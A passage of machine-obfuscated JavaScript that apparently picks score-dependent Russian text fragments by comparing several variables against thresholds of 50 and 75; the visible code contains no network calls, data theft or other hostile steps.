xY,DosX_UL_xJ)+Dc(DosX_UL_xA,DosX_UL_xw,0,DosX_UL_xG,DosX_UL_G0)+\"ач\",D[DM(DosX_UL_G1,DosX_UL_JV,0,DosX_UL_G3,DosX_UL_G4)],D[DZ(DosX_UL_Ai,DosX_UL_G5,0,0,DosX_UL_G8)],Dt(DosX_UL_G9,0,0,DosX_UL_Go,DosX_UL_is)+Ds(DosX_UL_Gq,DosX_UL_GW,0,DosX_UL_GK,DosX_UL_IP)+DM(DosX_UL_Gp,DosX_UL_Gj,0,DosX_UL_Gi,DosX_UL_Gu)+Dt(DosX_UL_Zl,0,0,DosX_UL_Bw,DosX_UL_GD)+Dc(DosX_UL_Gn,DosX_UL_Gm,0,DosX_UL_GC,DosX_UL_GU)],1),D[Ds(DosX_UL_GX,DosX_UL_GN,0,DosX_UL_GV,DosX_UL_Gv)](75,R)?K([DM(DosX_UL_Ga,DosX_UL_GO,0,DosX_UL_Gb,DosX_UL_GQ)+DM(DosX_UL_Gk,DosX_UL_Pt,0,DosX_UL_Gz,DosX_UL_u3)+Dc(DosX_UL_GH,-DosX_UL_IT,0,DosX_UL_O5,DosX_UL_Gg)+DZ(DosX_UL_GE,DosX_UL_Gl,0,0,DosX_UL_GS)+DM(DosX_UL_GM,DosX_UL_Bt,0,DosX_UL_Gt,DosX_UL_GZ)+DM(DosX_UL_Gc,DosX_UL_P1,0,DosX_UL_Gs,DosX_UL_xX)+Dc(DosX_UL_GT,DosX_UL_GL,0,DosX_UL_Qx,DosX_UL_GJ)+DM(DosX_UL_GA,DosX_UL_yn,0,DosX_UL_Gx,DosX_UL_GG),DM(-DosX_UL_B00,DosX_UL_B01,0,DosX_UL_B03,DosX_UL_B04)+Dt(DosX_UL_B05,0,0,DosX_UL_oJ,DosX_UL_B08)+Dt(DosX_UL_B09,0,0,-DosX_UL_B0q,DosX_UL_W4)+Dt(DosX_UL_B0W,0,0,DosX_UL_B0p,DosX_UL_Ef)+DM(-DosX_UL_B0j,DosX_UL_B0y,0,DosX_UL_B0u,DosX_UL_B0I)+DZ(DosX_UL_Zp,DosX_UL_B0e,0,0,DosX_UL_B0n)+Dc(DosX_UL_Gv,DosX_UL_B0m,0,DosX_UL_B0C,DosX_UL_B0U),Ds(DosX_UL_B0X,DosX_UL_B0N,0,DosX_UL_B0V,DosX_UL_B0v)+Dc(DosX_UL_B0a,DosX_UL_B0O,0,DosX_UL_iX,DosX_UL_B0b)+Dt(DosX_UL_B0Q,0,0,DosX_UL_B0z,DosX_UL_fg)+Dc(DosX_UL_B0H,-DosX_UL_B0d,0,DosX_UL_B0E,DosX_UL_B0l)+DM(DosX_UL_B0F,DosX_UL_B0S,0,DosX_UL_B0t,DosX_UL_kq)+Dc(DosX_UL_B0Z,DosX_UL_B0c,0,DosX_UL_B0T,DosX_UL_B0L)+Dt(DosX_UL_B0Y,0,0,DosX_UL_B0w,DosX_UL_rv),Dt(DosX_UL_B0x,0,0,DosX_UL_B11,DosX_UL_jK)+Ds(DosX_UL_SH,DosX_UL_B12,0,DosX_UL_B13,-DosX_UL_YI)+DZ(DosX_UL_B14,DosX_UL_B15,0,0,DosX_UL_JI)+Dc(DosX_UL_B18,DosX_UL_B19,0,DosX_UL_B1o,DosX_UL_B1q)+DZ(DosX_UL_B1W,DosX_UL_B1f,0,0,DosX_UL_NY)+Dt(DosX_UL_B1j,0,0,-DosX_UL_B1u,DosX_UL_B1I)+DZ(DosX_UL_l3,DosX_UL_fU,0,0,DosX_UL_QO)+Dt(DosX_UL_B1n,0,0,DosX_UL_B1P,DosX_UL_NZ),Dc(-DosX_UL_B1C,-DosX_UL_B1U,0,DosX_UL_Yo,DosX_UL_B1N)+DZ(DosX_UL_B1R,DosX_UL_lT,0,0,DosX_UL_B1a)+Ds(DosX_UL_B1O,DosX_UL_B1r,0,DosX_UL_B1Q,-DosX_UL_B1k)+Dc(DosX_UL_B1h,DosX_UL_B1z,0,DosX_UL_B1d,DosX_UL_B1g)+Dt(DosX_UL_B1E,0,0,DosX_UL_B1F,DosX_UL_B1S)+DZ(DosX_UL_B1M,DosX_UL_B1t,0,0,DosX_UL_Bo),Dt(DosX_UL_B1c,0,0,DosX_UL_B1L,DosX_UL_AK)+Dt(DosX_UL_B1Y,0,0,DosX_UL_B1w,DosX_UL_XZ)+Dt(DosX_UL_tq,0,0,DosX_UL_B20,DosX_UL_B21)+Ds(DosX_UL_B22,DosX_UL_OB,0,DosX_UL_ZT,DosX_UL_B24)+Dt(DosX_UL_UO,0,0,DosX_UL_B27,DosX_UL_K2)+\"да\"],1):50<=R&&R<75?D[Dc(DosX_UL_km,DosX_UL_B28,0,DosX_UL_s5,DosX_UL_B2B)](K,[DZ(DosX_UL_B2o,DosX_UL_B2q,0,0,DosX_UL_EE)+Dt(DosX_UL_B2K,0,0,DosX_UL_B2j,DosX_UL_bc)+DZ(DosX_UL_zq,DosX_UL_B2y,0,0,DosX_UL_B2I)+Ds(DosX_UL_B2e,DosX_UL_Ox,0,DosX_UL_xD,DosX_UL_Jo)+Dc(DosX_UL_B2n,DosX_UL_B2m,0,DosX_UL_B2C,DosX_UL_B2U)+DM(DosX_UL_B2X,DosX_UL_B2N,0,DosX_UL_B2V,DosX_UL_B2v)+DM(DosX_UL_B0G,DosX_UL_K2,0,DosX_UL_B2a,DosX_UL_B2O)+Dt(DosX_UL_B2r,0,0,DosX_UL_B2k,DosX_UL_B2h),DZ(DosX_UL_Ki,DosX_UL_B2z,0,0,DosX_UL_Qq)+Dc(DosX_UL_B2g,DosX_UL_rZ,0,DosX_UL_B2l,DosX_UL_B2F)+Dt(DosX_UL_B2S,0,0,DosX_UL_B2Z,DosX_UL_B2c)+Dc(DosX_UL_B2s,DosX_UL_B2T,0,DosX_UL_B2Y,DosX_UL_B2J)+Dt(DosX_UL_B2A,0,0,DosX_UL_B2G,DosX_UL_B30),DZ(DosX_UL_B31,DosX_UL_B32,0,0,DosX_UL_B35)+Dc(DosX_UL_B36,DosX_UL_B37,0,DosX_UL_Yx,DosX_UL_B39)+Ds(DosX_UL_B3B,DosX_UL_oh,0,DosX_UL_B3q,DosX_UL_B3W)+DM(DosX_UL_B3f,DosX_UL_B3K,0,DosX_UL_B3j,DosX_UL_B3y)+DM(DosX_UL_B3i,DosX_UL_B3u,0,DosX_UL_B3e,-DosX_UL_lh)+DM(DosX_UL_MD,DosX_UL_B3D,0,DosX_UL_B3m,DosX_UL_B3P),DM(DosX_UL_B3C,DosX_UL_B3U,0,DosX_UL_B3X,DosX_UL_B3N)+Dc(DosX_UL_B3R,DosX_UL_B3V,0,DosX_UL_Tw,DosX_UL_B3v)+Dt(DosX_UL_B3a,0,0,DosX_UL_uA,DosX_UL_Lk)+DM(DosX_UL_B3b,DosX_UL_B3Q,0,DosX_UL_B3h,DosX_UL_Gl)+Ds(DosX_UL_B3z,DosX_UL_WS,0,DosX_UL_K3,DosX_UL_B3d)+Dt(DosX_UL_B3g,0,0,DosX_UL_B3F,DosX_UL_ED)+DM(-DosX_UL_B3S,DosX_UL_B3M,0,DosX_UL_B3Z,DosX_UL_B3c)],1):R<50&&K([DZ(DosX_UL_ye,DosX_UL_w3,0,0,DosX_UL_B3L)+Ds(DosX_UL_B3Y,DosX_UL_B3J,0,DosX_UL_B3w,DosX_UL_B3x)+Ds(DosX_UL_B3G,DosX_UL_Cf,0,DosX_UL_B40,DosX_UL_B41)+Ds(DosX_UL_B42,DosX_UL_B43,0,DosX_UL_B45,DosX_UL_B46)+Dc(DosX_UL_B47,DosX_UL_B48,0,DosX_UL_oo,DosX_UL_B4B)+DM(DosX_UL_B4o,DosX_UL_Xs,0,DosX_UL_B4W,DosX_UL_B4f),Dc(DosX_UL_B4K,-DosX_UL_U6,0,DosX_UL_B4j,DosX_UL_B4y)+Dc(DosX_UL_QL,DosX_UL_B4i,0,DosX_UL_BU,DosX_UL_B4I)+DM(DosX_UL_B4e,DosX_UL_zm,0,DosX_UL_B4n,DosX_UL_B4m)+Dt(DosX_UL_B4P,0,0,DosX_UL_B4X,DosX_UL_Xx)+Ds(DosX_UL_B4N,DosX_UL_B4R,0,DosX_UL_B4v,DosX_UL_B4a)+DZ(-DosX_UL_B4O,DosX_UL_B4r,0,0,DosX_UL_B4k)+DZ(DosX_UL_B4h,DosX_UL_oi,0,0,DosX_UL_B4d),D[Dc(DosX_UL_B4g,DosX_UL_B4E,0,DosX_UL_B4l,DosX_UL_B4F)],D[DM(DosX_UL_B4S,DosX_UL_B4M,0,DosX_UL_B4Z,DosX_UL_B4c)],DZ(DosX_UL_WZ,DosX_UL_B4s,0,0,DosX_UL_Zw)+DM(DosX_UL_B4Y,DosX_UL_B4J,0,DosX_UL_B4w,DosX_UL_B2D)+Dc(DosX_UL_B4x,DosX_UL_B4G,0,DosX_UL_vP,DosX_UL_B51)+DZ(DosX_UL_B52,DosX_UL_B53,0,0,DosX_UL_B56)+DM(DosX_UL_B57,DosX_UL_B58,0,DosX_UL_B5B,DosX_UL_B5o)+DZ(DosX_UL_B5q,DosX_UL_yz,0,0,DosX_UL_H5)+\"в\"],1),75<=V?K([Ds(DosX_UL_B5K,DosX_UL_B5p,0,DosX_UL_B5y,DosX_UL_B5i)+DZ(DosX_UL_B5u,DosX_UL_B5I,0,0,DosX_UL_B5n)+DM(DosX_UL_GF,DosX_UL_B5m,0,DosX_UL_B5C,DosX_UL_B5U)+Dt(DosX_UL_B5X,0,0,DosX_UL_B5V,DosX_UL_B5v)+DZ(DosX_UL_B5a,DosX_UL_B5O,0,0,DosX_UL_o1)+Dt(DosX_UL_B5Q,0,0,DosX_UL_B5z,DosX_UL_B5H)+Dt(DosX_UL_B5d,0,0,DosX_UL_dc,DosX_UL_B5v)+DZ(DosX_UL_B5l,DosX_UL_B5F,0,0,DosX_UL_B5t),D[Dt(DosX_UL_B5Z,0,0,DosX_UL_Ub,DosX_UL_Mp)],DM(-DosX_UL_B5T,DosX_UL_k4,0,DosX_UL_B5Y,DosX_UL_B5J)+Dc(DosX_UL_B5A,DosX_UL_B5w,0,DosX_UL_U7,DosX_UL_B5G)+Ds(DosX_UL_B60,DosX_UL_K9,0,DosX_UL_B62,DosX_UL_B63)+Dt(DosX_UL_B64,0,0,DosX_UL_B67,DosX_UL_B68)+Dc(DosX_UL_B69,DosX_UL_B6B,0,DosX_UL_B6q,DosX_UL_B6W),Ds(-DosX_UL_B6f,DosX_UL_bu,0,DosX_UL_B6p,DosX_UL_B6j)+Ds(DosX_UL_wT,DosX_UL_B6y,0,DosX_UL_Io,DosX_UL_B6u)+DZ(DosX_UL_B6I,DosX_UL_B6e,0,0,DosX_UL_B6n)+DZ(DosX_UL_B6m,DosX_UL_IJ,0,0,DosX_UL_Pi)+Ds(DosX_UL_B6U,DosX_UL_B6X,0,DosX_UL_us,-DosX_UL_B6R),Dt(DosX_UL_B6V,0,0,DosX_UL_B6O,DosX_UL_B6r)+Dc(DosX_UL_B6b,DosX_UL_B6Q,0,DosX_UL_B6h,DosX_UL_B6z)+Dt(DosX_UL_B6H,0,0,DosX_UL_B6g,DosX_UL_B01)+DM(-DosX_UL_B6E,DosX_UL_B6l,0,DosX_UL_B6S,-DosX_UL_B6M)+DM(DosX_UL_XL,DosX_UL_wL,0,DosX_UL_B6Z,DosX_UL_VV)+DM(DosX_UL_B6c,DosX_UL_N2,0,DosX_UL_B6s,DosX_UL_B6T)+DZ(DosX_UL_B6L,DosX_UL_B6Y,0,0,DosX_UL_UR),Dt(DosX_UL_VJ,0,0,-DosX_UL_xw,DosX_UL_B2h)+Dt(DosX_UL_B6x,0,0,DosX_UL_B71,DosX_UL_Jw)+DM(DosX_UL_B72,DosX_UL_Tw,0,DosX_UL_B74,DosX_UL_B75)+Ds(DosX_UL_B76,DosX_UL_B77,0,DosX_UL_B79,DosX_UL_B7B),D[DM(DosX_UL_B7o,DosX_UL_GC,0,DosX_UL_B7W,DosX_UL_B7f)]],1):D[DM(DosX_UL_B7K,DosX_UL_B1d,0,DosX_UL_LW,DosX_UL_B7j)](50,V)&&V<75?D[DZ(DosX_UL_B7y,DosX_UL_B7i,0,0,DosX_UL_B7e)](K,[D[Dc(DosX_UL_V1,DosX_UL_f4,0,DosX_UL_B7n,DosX_UL_AV)],D[DZ(DosX_UL_B7m,DosX_UL_B7P,0,0,DosX_UL_B7X)],D[DM(-DosX_UL_B2a,DosX_UL_xE,0,DosX_UL_B7N,DosX_UL_B7R)],D[DM(DosX_UL_B7V,DosX_UL_id,0,DosX_UL_B7a,DosX_UL_It)],Dt(DosX_UL_B22,0,0,DosX_UL_B7b,DosX_UL_ya)+DM(DosX_UL_yU,DosX_UL_jR,0,DosX_UL_B7k,DosX_UL_B7h)+Ds(DosX_UL_B7z,DosX_UL_B7H,0,DosX_UL_WT,-DosX_UL_B7g)+Dt(DosX_UL_B7E,0,0,DosX_UL_B7F,DosX_UL_Ak)+Ds(DosX_UL_hV,DosX_UL_kB,0,DosX_UL_B7S,DosX_UL_B7M)+DM(DosX_UL_B7t,DosX_UL_tw,0,DosX_UL_B7c,DosX_UL_Zq)+\"а\"],1):D[Ds(DosX_UL_B7s,DosX_UL_B7T,0,DosX_UL_Uq,DosX_UL_B7Y)](V,50)&&K([Dc(DosX_UL_B7J,DosX_UL_B7A,0,DosX_UL_wL,DosX_UL_B7x)+Dt(DosX_UL_Q1,0,0,DosX_UL_B81,DosX_UL_qI)+Dc(DosX_UL_B82,DosX_UL_B83,0,DosX_UL_B85,DosX_UL_B86)+Dc(DosX_UL_bi,DosX_UL_B87,0,DosX_UL_B89,DosX_UL_B8B)+Ds(DosX_UL_B8o,DosX_UL_aD,0,DosX_UL_B8W,DosX_UL_B8f)+DM(DosX_UL_B8K,DosX_UL_B30,0,DosX_UL_B8j,DosX_UL_B8y)+Ds(DosX_UL_PA,DosX_UL_B8i,0,DosX_UL_B8I,DosX_UL_B8e)+\"но\",DZ(DosX_UL_B8D,DosX_UL_B8n,0,0,DosX_UL_B8C)+Dc(DosX_UL_xd,DosX_UL_B8U,0,DosX_UL_B8N,DosX_UL_Y3)+Ds(DosX_UL_B8R,DosX_UL_OE,0,DosX_UL_B8v,DosX_UL_B6I)+DZ(DosX_UL_B8a,DosX_UL_B8O,0,0,DosX_UL_hK)+Dt(DosX_UL_bi,0,0,-DosX_UL_B8k,DosX_UL_kP)+\"я\",D[DM(DosX_UL_B8h,DosX_UL_AF,0,DosX_UL_RO,DosX_UL_B8z)],DZ(DosX_UL_B8H,DosX_UL_B8d,0,0,DosX_UL_OB)+DM(DosX_UL_B8l,DosX_UL_ER,0,DosX_UL_B8S,DosX_UL_B8M)+Ds(DosX_UL_B8t,DosX_UL_Xx,0,DosX_UL_B8c,DosX_UL_B8s)+DZ(DosX_UL_B8T,DosX_UL_B8L,0,0,DosX_UL_B8A)+DZ(DosX_UL_B8w,DosX_UL_uq,0,0,DosX_UL_Tw),DM(DosX_UL_B8G,DosX_UL_B90,0,DosX_UL_oi,DosX_UL_B92)+Dc(DosX_UL_B93,DosX_UL_B94,0,DosX_UL_B95,DosX_UL_B96)+Dc(DosX_UL_B97,DosX_UL_B98,0,DosX_UL_B9B,DosX_UL_B2S)+Dc(DosX_UL_B9o,-DosX_UL_pt,0,DosX_UL_B9W,DosX_UL_B9f)+DZ(DosX_UL_B9K,DosX_UL_B9p,0,0,DosX_UL_f6)+Dt(DosX_UL_Jf,0,0,DosX_UL_B9u,DosX_UL_B9I)+\"го\"],1),D[DM(DosX_UL_B9e,DosX_UL_B9D,0,DosX_UL_B9m,DosX_UL_B9P)](75,O)?K([DZ(-DosX_UL_B9C,DosX_UL_B9U,0,0,DosX_UL_B9R)+Dc(DosX_UL_B9V,-DosX_UL_B9v,0,DosX_UL_jF,DosX_UL_B9O)+DM(DosX_UL_B9r,DosX_UL_f6,0,DosX_UL_B9Q,DosX_UL_B9k)+Ds(DosX_UL_B9h,DosX_UL_Mb,0,DosX_UL_B9H,DosX_UL_B9d)+DZ(DosX_UL_B9g,DosX_UL_B9E,0,0,DosX_UL_fg)+DM(DosX_UL_B9S,DosX_UL_B9M,0,DosX_UL_B9Z,DosX_UL_B9c),D[Dc(DosX_UL_B9s,DosX_UL_B9T,0,DosX_UL_W2,DosX_UL_B9L)],DM(DosX_UL_B9Y,DosX_UL_NZ,0,DosX_UL_B9J,DosX_UL_B9A)+DZ(DosX_UL_B9w,DosX_UL_B9x,0,0,DosX_UL_rv)+Dc(DosX_UL_BB1,DosX_UL_BB2,0,DosX_UL_kB,DosX_UL_BB4)+DM(-DosX_UL_BB5,DosX_UL_xG,0,DosX_UL_BB7,-DosX_UL_BB8)+DM(DosX_UL_BB9,DosX_UL_BBB,0,DosX_UL_BBq,DosX_UL_BBW)+DZ(DosX_UL_BBf,DosX_UL_BBK,0,0,DosX_UL_BBy),D[Ds(-DosX_UL_BBi,DosX_UL_AF,0,DosX_UL_BBu,DosX_UL_BBI)],Dc(DosX_UL_BBe,DosX_UL_BBD,0,DosX_UL_qA,DosX_UL_BBm)+Dt(DosX_UL_BBP,0,0,DosX_UL_BBX,DosX_UL_BBN)+DZ(DosX_UL_BBR,DosX_UL_BBV,0,0,DosX_UL_BBa)+Dc(DosX_UL_BBO,DosX_UL_BBr,0,DosX_UL_Pf,DosX_UL_BBQ)+DZ(DosX_UL_BBk,DosX_UL_wq,0,0,DosX_UL_W9)+Dt(DosX_UL_BBH,0,0,DosX_UL_BBE,DosX_UL_BBl)+\"ой\",Dc(DosX_UL_BBF,DosX_UL_BBS,0,DosX_UL_BBt,DosX_UL_Gi)+Ds(DosX_UL_BBZ,DosX_UL_UJ,0,DosX_UL_BBs,DosX_UL_Px)+Dt(DosX_UL_BBT,0,0,-DosX_UL_BBY,DosX_UL_BBJ)+DM(DosX_UL_BBA,DosX_UL_OU,0,DosX_UL_BBx,-DosX_UL_BBG)+Dc(DosX_UL_jz,DosX_UL_Bo0,0,DosX_UL_Bo1,DosX_UL_Bo2)+DM(-DosX_UL_Bo3,DosX_UL_Bo4,0,DosX_UL_Bo6,DosX_UL_Bo7)+DZ(DosX_UL_Bo8,DosX_UL_Bo9,0,0,DosX_UL_qg),DM(DosX_UL_Boq,DosX_UL_BoW,0,DosX_UL_BoK,DosX_UL_Bop)+Dt(DosX_UL_B60,0,0,DosX_UL_Boy,DosX_UL_Boi)+Ds(DosX_UL_Bou,DosX_UL_U4,0,DosX_UL_BoI,DosX_UL_Boe)+Dt(DosX_UL_ts,0,0,DosX_UL_Bon,DosX_UL_B0C)+Ds(DosX_UL_Bom,DosX_UL_BoP,0,DosX_UL_BoU,DosX_UL_BoX)],1):50<=O&&D[Dt(DosX_UL_BoN,0,0,DosX_UL_Bov,DosX_UL_bY)](O,75)?D[Ds(DosX_UL_Boa,DosX_UL_B0E,0,DosX_UL_Bor,DosX_UL_Ym)](K,[Dc(DosX_UL_Bob,DosX_UL_BoQ,0,DosX_UL_vI,DosX_UL_Boh)+Dc(DosX_UL_Boz,-DosX_UL_en,0,DosX_UL_Bod,DosX_UL_Bog)+DM(-DosX_UL_BoE,DosX_UL_NY,0,DosX_UL_Bol,DosX_UL_BoF)+DM(DosX_UL_Jm,DosX_UL_V4,0,DosX_UL_Jo,DosX_UL_BoS)+Ds(DosX_UL_BoM,DosX_UL_Bot,0,DosX_UL_Ym,DosX_UL_Boc)+Dt(DosX_UL_Bos,0,0,DosX_UL_BoY,DosX_UL_tw)+DZ(DosX_UL_BoJ,DosX_UL_BoA,0,0,DosX_UL_BoG),Dt(DosX_UL_Bq0,0,0,DosX_UL_Bq3,DosX_UL_LH)+Dc(DosX_UL_Boo,DosX_UL_Bq4,0,DosX_UL_Bq6,DosX_UL_Bq7)+Ds(-DosX_UL_Bq8,DosX_UL_c2,0,DosX_UL_BqB,DosX_UL_Bqo)+DZ(DosX_UL_Bqq,DosX_UL_BqW,0,0,DosX_UL_cR),Ds(DosX_UL_Bqp,DosX_UL_em,0,DosX_UL_Bqy,DosX_UL_LV)+DZ(DosX_UL_Bqi,DosX_UL_Bqu,0,0,DosX_UL_B2C)+DZ(DosX_UL_BqD,DosX_UL_Bqn,0,0,DosX_UL_f6)+Dt(DosX_UL_BqC,0,0,DosX_UL_BqN,DosX_UL_Nn),Dt(DosX_UL_BqR,0,0,DosX_UL_B6M,DosX_UL_B7X)+Ds(DosX_UL_Bqa,DosX_UL_jR,0,DosX_UL_Bqr,-DosX_UL_Bqb)+DZ(DosX_UL_BqQ,DosX_UL_BoL,0,0,DosX_UL_Qx)+DM(DosX_UL_k2,DosX_UL_Pd,0,DosX_UL_BqH,DosX_UL_Bqd)+Ds(DosX_UL_Bqg,DosX_UL_db,0,DosX_UL_Bql,DosX_UL_B9q)+Ds(-DosX_UL_BqF,DosX_UL_B2C,0,DosX_UL_BqM,DosX_UL_Bqt)+DZ(DosX_UL_BqZ,DosX_UL_Bl,0,0,DosX_UL_BqT)+\")\",D[Ds(DosX_UL_BqL,DosX_UL_Bo4,0,DosX_UL_BqJ,DosX_UL_BqA)]],1):O<50&&K([D[DM(DosX_UL_B0k,DosX_UL_B4k,0,DosX_UL_Bqx,DosX_UL_BqG)],D[DZ(DosX_UL_BW0,DosX_UL_BW1,0,0,DosX_UL_V4)],D[Dc(-DosX_UL_BW3,-DosX_UL_BW4,0,DosX_UL_xE,DosX_UL_BW6)],Ds(DosX_UL_BW7,DosX_UL_gS,0,DosX_UL_Jl,DosX_UL_BW9)+Ds(-DosX_UL_BWB,DosX_UL_fg,0,DosX_UL_BWq,-DosX_UL_BWW)+Dt(DosX_UL_BWf,0,0,DosX_UL_BWj,DosX_UL_Ox)+Dt(DosX_UL_BWy,0,0,DosX_UL_wF,DosX_UL_BWI)+DZ(DosX_UL_BWe,DosX_UL_BWD,0,0,DosX_UL_BWP),D[Dc(DosX_UL_BWC,DosX_UL_o0,0,DosX_UL_BWX,DosX_UL_BWN)]],1),75<=Q?K([D[DZ(DosX_UL_BWR,DosX_UL_BWV,0,0,DosX_UL_BWa)],DM(DosX_UL_BWO,DosX_UL_Cr,0,DosX_UL_Id,DosX_UL_BWb)+Dc(DosX_UL_BWQ,DosX_UL_BWk,0,DosX_UL_BWz,DosX_UL_BWH)+Dc(DosX_UL_BWd,DosX_UL_BWg,0,DosX_UL_B9W,DosX_UL_BWl)+DZ(DosX_UL_BWF,DosX_UL_BWS,0,0,DosX_UL_c2)+Dc(DosX_UL_BWZ,DosX_UL_BWc,0,DosX_UL_B01,DosX_UL_B6D)+Dc(DosX_UL_BWT,DosX_UL_BWL,0,DosX_UL_ss,DosX_UL_BWJ)+\")\",D[DZ(DosX_UL_BWA,DosX_UL_BWw,0,0,DosX_UL_B7e)],Dc(DosX_UL_BWG,DosX_UL_Bf0,0,DosX_UL_Bf1,DosX_UL_Bf2)+Dt(DosX_UL_Bf3,0,0,DosX_UL_Bf6,DosX_UL_Bf7)+DZ(DosX_UL_Bf8,DosX_UL_Bf9,0,0,DosX_UL_Bfq)+Dt(DosX_UL_BfW,0,0,-DosX_UL_Bos,DosX_UL_Bfp)+Ds(DosX_UL_Bfj,DosX_UL_Bfy,0,DosX_UL_Bfi,DosX_UL_Bfu)+\"ь\",Dc(DosX_UL_BfI,-DosX_UL_Bfe,0,DosX_UL_AK,DosX_UL_BfD)+DZ(DosX_UL_Bfn,DosX_UL_OV,0,0,DosX_UL_BfC)+DM(DosX_UL_BfU,DosX_UL_ro,0,DosX_UL_BfX,DosX_UL_BfN)+Dt(DosX_UL_Vf,0,0,-DosX_UL_Bfv,DosX_UL_R0)+Ds(DosX_UL_Bfa,DosX_UL_pw,0,DosX_UL_Bfr,DosX_UL_Bfb)+\"ю\",D[DM(DosX_UL_BfQ,DosX_UL_B9B,0,DosX_UL_CM,DosX_UL_Bfh)]],1):50<=Q&&Q<75?K([DM(DosX_UL_Bfz,DosX_UL_sA,0,DosX_UL_IY,-DosX_UL_Bfd)+Dc(DosX_UL_Bfg,DosX_UL_A6,0,DosX_UL_Bfl,DosX_UL_BfF)+Ds(DosX_UL_BfS,DosX_UL_cc,0,DosX_UL_Bft,DosX_UL_BfZ)+DM(DosX_UL_Bfc,DosX_UL_Bfs,0,DosX_UL_B9a,DosX_UL_BG)+Ds(DosX_UL_BfT,DosX_UL_BfL,0,DosX_UL_BfJ,DosX_UL_BfA)+Dc(DosX_UL_Bfw,DosX_UL_Bfx,0,DosX_UL_Pf,DosX_UL_BK0)+Dt(DosX_UL_BK1,0,0,DosX_UL_xj,DosX_UL_BK4),DZ(DosX_UL_BK5,DosX_UL_tP,0,0,DosX_UL_BK8)+DM(-DosX_UL_BK9,DosX_UL_Cf,0,DosX_UL_BKo,DosX_UL_BKq)+Dc(DosX_UL_BKW,-DosX_UL_BKf,0,DosX_UL_rA,DosX_UL_BKp)+DM(DosX_UL_QK,DosX_UL_xY,0,DosX_UL_BKy,DosX_UL_BKi)+DM(DosX_UL_BKu,DosX_UL_MS,0,DosX_UL_BKe,DosX_UL_BKD)+Dc(DosX_UL_rC,DosX_UL_BKn,0,DosX_UL_hK,DosX_UL_B7f)+\"ь\",Ds(DosX_UL_BKm,DosX_UL_B1r,0,DosX_UL_BKC,DosX_UL_BKU)+Dc(DosX_UL_BKX,DosX_UL_BKN,0,DosX_UL_qr,DosX_UL_BKV)+DZ(DosX_UL_BKv,DosX_UL_B5b,0,0,DosX_UL_BKr)+Dt(DosX_UL_BKb,0,0,DosX_UL_g3,DosX_UL_qM)+Ds(DosX_UL_BKh,DosX_UL_BKz,0,DosX_UL_hg,DosX_UL_vd),Dt(DosX_UL_BKd,0,0,DosX_UL_BKl,DosX_UL_BKF)+Dc(DosX_UL_kf,DosX_UL_BKS,0,DosX_UL_BKt,DosX_UL_BKZ)+DZ(DosX_UL_BKc,DosX_UL_BKs,0,0,DosX_UL_BKY)+Dt(DosX_UL_hR,0,0,DosX_UL_BKA,DosX_UL_wr)+DZ(DosX_UL_BKw,DosX_UL_BKx,0,0,DosX_UL_Bp1)+Dt(DosX_UL_Bp2,0,0,DosX_UL_Bp4,DosX_UL_Bp5),Dc(DosX_UL_Bp6,DosX_UL_Ja,0,DosX_UL_Yr,DosX_UL_Bp7)+DM(DosX_UL_Bp8,DosX_UL_B9I,0,DosX_UL_Ps,DosX_UL_Sc)+Dt(DosX_UL_BpB,0,0,DosX_UL_Bpq,DosX_UL_B4k)+Ds(DosX_UL_BpW,DosX_UL_ZX,0,DosX_UL_Bpf,-DosX_UL_BpK)+Ds(-DosX_UL_Bpp,DosX_UL_Bpj,0,DosX_UL_Bpi,DosX_UL_aN)],1):Q<50&&K([DZ(DosX_UL_Bpu,DosX_UL_BpI,0,0,DosX_UL_tQ)+Dc(DosX_UL_Bpn,DosX_UL_za,0,DosX_UL_Pi,DosX_UL_Ag)+DM(DosX_UL_BpP,DosX_UL_BpC,0,DosX_UL_BpU,DosX_UL_BpX)+DM(DosX_UL_BpN,DosX_UL_B1,0,DosX_UL_B7F,DosX_UL_BpR)+Dc(DosX_UL_BpV,-DosX_UL_Bpv,0,DosX_UL_BpO,DosX_UL_HM)+Dt(DosX_UL_Bpr,0,0,DosX_UL_BpQ,DosX_UL_ky),D[Dt(DosX_UL_Bpk,0,0,DosX_UL_Bpz,DosX_UL_BpH)],Dt(DosX_UL_Bpd,0,0,DosX_UL_Bpl,DosX_UL_KQ)+Dc(DosX_UL_BpF,DosX_UL_BpS,0,DosX_UL_LH,DosX_UL_Bpt)+Ds(DosX_UL_BpZ,DosX_UL_Bpc,0,DosX_UL_BpT,DosX_UL_BpL)+Ds(DosX_UL_BpY,DosX_UL_uT,0,DosX_UL_BpJ,-DosX_UL_B4u)+Dc(DosX_UL_BpA,DosX_UL_Bpw,0,DosX_UL_Nr,DosX_UL_BpG)+DZ(DosX_UL_Bj0,DosX_UL_Bj1,0,0,DosX_UL_Bj4)+\"та\",D[DM(DosX_UL_Bj5,DosX_UL_V,0,DosX_UL_P9,DosX_UL_Bj7)],Dt(DosX_UL_Bj8,0,0,DosX_UL_BoL,DosX_UL_Q8)+Dc(DosX_UL_BjB,DosX_UL_Bjo,0,DosX_UL_Bfp,DosX_UL_BjW)+Dc(DosX_UL_Bjf,DosX_UL_BjK,0,DosX_UL_Bjj,DosX_UL_Bjy)+DZ(DosX_UL_Bji,DosX_UL_Bju,0,0,DosX_UL_BjD)+DM(DosX_UL_Bjn,DosX_UL_Bjm,0,DosX_UL_BjC,DosX_UL_BjU)],1),75<=z?K([DZ(DosX_UL_BjX,DosX_UL_BjN,0,0,DosX_UL_pm)+DM(DosX_UL_JD,DosX_UL_Bjv,0,DosX_UL_BjO,DosX_UL_Bjr)+Dc(DosX_UL_r4,DosX_UL_Bjb,0,DosX_UL_BjQ,DosX_UL_Bjk)+Dt(DosX_UL_Bjh,0,0,DosX_UL_Bjd,DosX_UL_Bjg)+DZ(DosX_UL_YT,DosX_UL_LI,0,0,DosX_UL_BjF)+DM(DosX_UL_BjS,DosX_UL_BjM,0,DosX_UL_B1Q,DosX_UL_BjZ),Dt(DosX_UL_UW,0,0,DosX_UL_s2,DosX_UL_Te)+DZ(DosX_UL_Bjs,DosX_UL_BjT,0,0,DosX_UL_BjJ)+Dt(DosX_UL_BjA,0,0,DosX_UL_B4F,DosX_UL_Bjx)+DM(DosX_UL_BjG,DosX_UL_GN,0,DosX_UL_By1,DosX_UL_By2)+DM(DosX_UL_bU,DosX_UL_BKr,0,DosX_UL_By4,DosX_UL_oX)+DM(DosX_UL_By5,DosX_UL_By6,0,DosX_UL_By8,DosX_UL_uz)+DZ(-DosX_UL_B8k,DosX_UL_vm,0,0,DosX_UL_ByB),D[DZ(DosX_UL_Yu,DosX_UL_Byo,0,0,DosX_UL_BBl)],Dc(DosX_UL_px,DosX_UL_Byf,0,DosX_UL_LF,DosX_UL